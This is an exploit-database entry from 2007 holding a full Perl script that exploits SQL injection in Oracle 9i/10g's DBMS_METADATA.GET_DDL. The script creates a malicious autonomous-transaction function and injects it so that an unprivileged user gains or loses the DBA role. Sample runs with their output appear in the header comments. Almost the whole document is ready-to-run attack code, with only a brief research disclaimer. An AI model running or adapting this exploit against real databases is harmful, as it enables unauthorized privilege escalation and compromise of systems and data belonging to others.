Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit
SSV ID:6270
SEBUG-Appdir:Oracle
Published:2007-03-01
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
#!/usr/bin/perl
#
# Remote Oracle DBMS_METADAT.GET_DDL exploit (9i/10g)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"
#
# REF: http://www.securityfocus.com/bid/16287
#
# AUTHOR: Andrea \"bunker\" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Fri Feb 23 12:32:55 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at dbms_meta_get_ddl.pl line 95.
# [-] Done!
#
# bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [-] Creating evil function...
# [-] Go ...(don\'t worry about errors)!
# DBD::Oracle::st execute failed: ORA-31600: invalid input value \'||BUNKER.own||\' for parameter OBJECT_TYPE in function GET_DDL
# ORA-06512: at \"SYS.DBMS_METADATA\", line 2576
# ORA-06512: at \"SYS.DBMS_METADATA\", line 2627
# ORA-06512: at \"SYS.DBMS_METADATA\", line 4220
# ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement \"
# DECLARE
# R CLOB;
# BEGIN
# R := SYS.DBMS_METADATA.GET_DDL(\'\'\'||BUNKER.own||\'\'\',\'\');
# END;
# \"] at dbms_meta_get_ddl.pl line 120.
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<\"USAGE\";
Syntax: $0 -h -s -u -p -g|-r [-P ]
Options:
-h target server address
-s target sid name
-u user
-p password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P Oracle port]
USAGE
exit 0
}
my $opt_string = \'h:s:u:p:grP:\';
getopts($opt_string, \\%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = \"GRANT DBA TO $user\";
print \"[-] Wait...
\";
if ($opt{r}) {
print \"[-] Revoking DBA from $user...
\";
$sqlcmd = \"REVOKE DBA FROM $user\";
$dbh->do( $sqlcmd );
print \"[-] Done!
\";
$dbh->disconnect;
exit;
}
print \"[-] Creating evil function...
\";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE \'$sqlcmd\'; COMMIT;
RETURN(0);
END;
} );
print \"[-] Go ...(don\'t worry about errors)!
\";
my $sth = $dbh->prepare(qq{
DECLARE
R CLOB;
BEGIN
R := SYS.DBMS_METADATA.GET_DDL(\'\'\'||$user.own||\'\'\',\'\');
END;
});
$sth->execute;
$sth->finish;
print \"[-] YOU GOT THE POWAH!!
\";
$dbh->disconnect;
exit;
// sebug.net [2007-03-01]